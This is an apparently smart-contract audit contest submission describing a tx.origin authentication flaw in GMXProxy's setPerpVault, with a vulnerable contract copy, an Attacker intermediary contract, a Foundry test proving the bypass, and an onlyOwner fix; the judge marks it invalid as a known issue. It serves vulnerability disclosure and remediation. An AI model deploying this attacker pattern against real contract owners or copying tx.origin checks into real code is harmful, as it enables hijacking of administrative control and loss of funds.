DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Insecure Ownership Check Using tx.origin in setPerpVaultt

GMXProxy.sol

Summary:
The setPerpVault function in the GMXProxy contract uses tx.origin to authenticate the caller rather than msg.sender. This insecure practice can be exploited by an attacker-controlled intermediary contract, potentially allowing an attacker to set a vault address of their choosing.


Where the Issue Is:
The vulnerability exists in the following function in the GMXProxy contract:

function setPerpVault(address _perpVault, address market) external {
require(tx.origin == owner(), "not owner");
require(_perpVault != address(0), "zero address");
require(perpVault == address(0), "already set");
perpVault = _perpVault;
gExchangeRouter.setSavedCallbackContract(market, address(this));
}

Root Cause:
Using tx.origin for authentication is a well-known anti‑pattern in smart contract security. The function checks that the originator of the transaction is the contract owner. However, this does not guarantee that the immediate caller is the owner. A malicious intermediary can trick the owner into interacting with it, and because tx.origin still returns the owner's address, the check passes. Consequently, the attacker-controlled contract can call setPerpVault and set the vault address to an arbitrary value.


Proof-of-Concept:

VulnerableGmxProxy.sol

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @notice VulnerableGmxProxy is a simplified version of the GMXProxy contract.
* It contains the vulnerable setPerpVault function that uses tx.origin for authentication.
*/
contract VulnerableGmxProxy is Ownable {
address public perpVault;
/**
* @notice Sets the perpetual vault.
* @dev This function uses tx.origin instead of msg.sender for authentication.
*/
function setPerpVault(address _perpVault, address market) external {
require(tx.origin == owner(), "not owner");
require(_perpVault != address(0), "zero address");
require(perpVault == address(0), "already set");
perpVault = _perpVault;
// For this PoC, we omit the call to gExchangeRouter.setSavedCallbackContract.
}
}

Attacker.sol

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.4;
/**
* @notice The Attacker contract is an intermediary that calls setPerpVault on VulnerableGmxProxy.
* When the owner calls attack() on this contract, tx.origin remains the owner,
* but msg.sender in VulnerableGmxProxy becomes the attacker contract.
*/
interface IVulnerableGmxProxy {
function setPerpVault(address _perpVault, address market) external;
}
contract Attacker {
IVulnerableGmxProxy public proxy;
constructor(address _proxy) {
proxy = IVulnerableGmxProxy(_proxy);
}
/**
* @notice Calls setPerpVault on the VulnerableGmxProxy.
* @param _vault The vault address to set.
* @param market A dummy market address.
*/
function attack(address _vault, address market) external {
proxy.setPerpVault(_vault, market);
}
}

VulnerableGmxProxyTest.t.sol

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.4;
import "forge-std/Test.sol";
import "../src/VulnerableGmxProxy.sol";
import "../src/Attacker.sol";
/**
* @notice This Foundry test demonstrates that an attacker-controlled intermediary contract
* can successfully call setPerpVault because the function uses tx.origin for authorization.
*/
contract VulnerableGmxProxyTest is Test {
VulnerableGmxProxy proxy;
Attacker attacker;
// Define sample addresses for testing:
address owner = address(0xABCD);
address vaultAddress = address(0xC0FFEE);
address market = address(0xDEADBEEF);
function setUp() public {
// Deploy the VulnerableGmxProxy contract with 'owner' as the deployer.
vm.prank(owner);
proxy = new VulnerableGmxProxy();
// Deploy the Attacker contract (deployed by any arbitrary account)
attacker = new Attacker(address(proxy));
}
function testAttack() public {
// Simulate the attack scenario:
// The owner calls the attack() function on the Attacker contract.
// This creates a call chain:
// Owner (tx.origin) -> Attacker.attack() -> proxy.setPerpVault()
// In the call to setPerpVault, msg.sender becomes the Attacker contract,
// but tx.origin remains 'owner', so the check passes.
vm.prank(owner);
attacker.attack(vaultAddress, market);
// Verify that perpVault was set to the attacker-specified vaultAddress.
assertEq(proxy.perpVault(), vaultAddress, "Vault address was not set correctly");
}
}

Compile and Test:
Place the above contracts in your Foundry project under the appropriate directories (e.g., src/ for contracts and test/ for tests). Then run:

forge test --match-path test/VulnerableGmxProxyTest.t.sol

Impact:

  • Administrative Hijack: The attacker can set the vault address to an arbitrary (attacker-controlled) address.

  • Financial Risk: With control over the vault configuration, the attacker may redirect funds or interfere with vault operations, potentially leading to fund loss or unauthorized fund transfers.

  • Violation of Security Invariants: This issue undermines the protocol’s core assumption of secure administrative control, risking further exploit chains.


Remediation:

  • Replace tx.origin with msg.sender:
    Use the onlyOwner modifier provided by OpenZeppelin’s Ownable contracts, which checks msg.sender rather than tx.origin. For example:

    function setPerpVault(address _perpVault, address market) external onlyOwner {
    require(_perpVault != address(0), "zero address");
    require(perpVault == address(0), "already set");
    perpVault = _perpVault;
    gExchangeRouter.setSavedCallbackContract(market, address(this));
    }
  • Security Best Practices:
    Ensure all administrative functions use direct caller authentication (i.e. msg.sender) and avoid relying on tx.origin.


Tools Used:

manual


References:

Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

invalid_tx-origin

Lightchaser: Medium-5

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!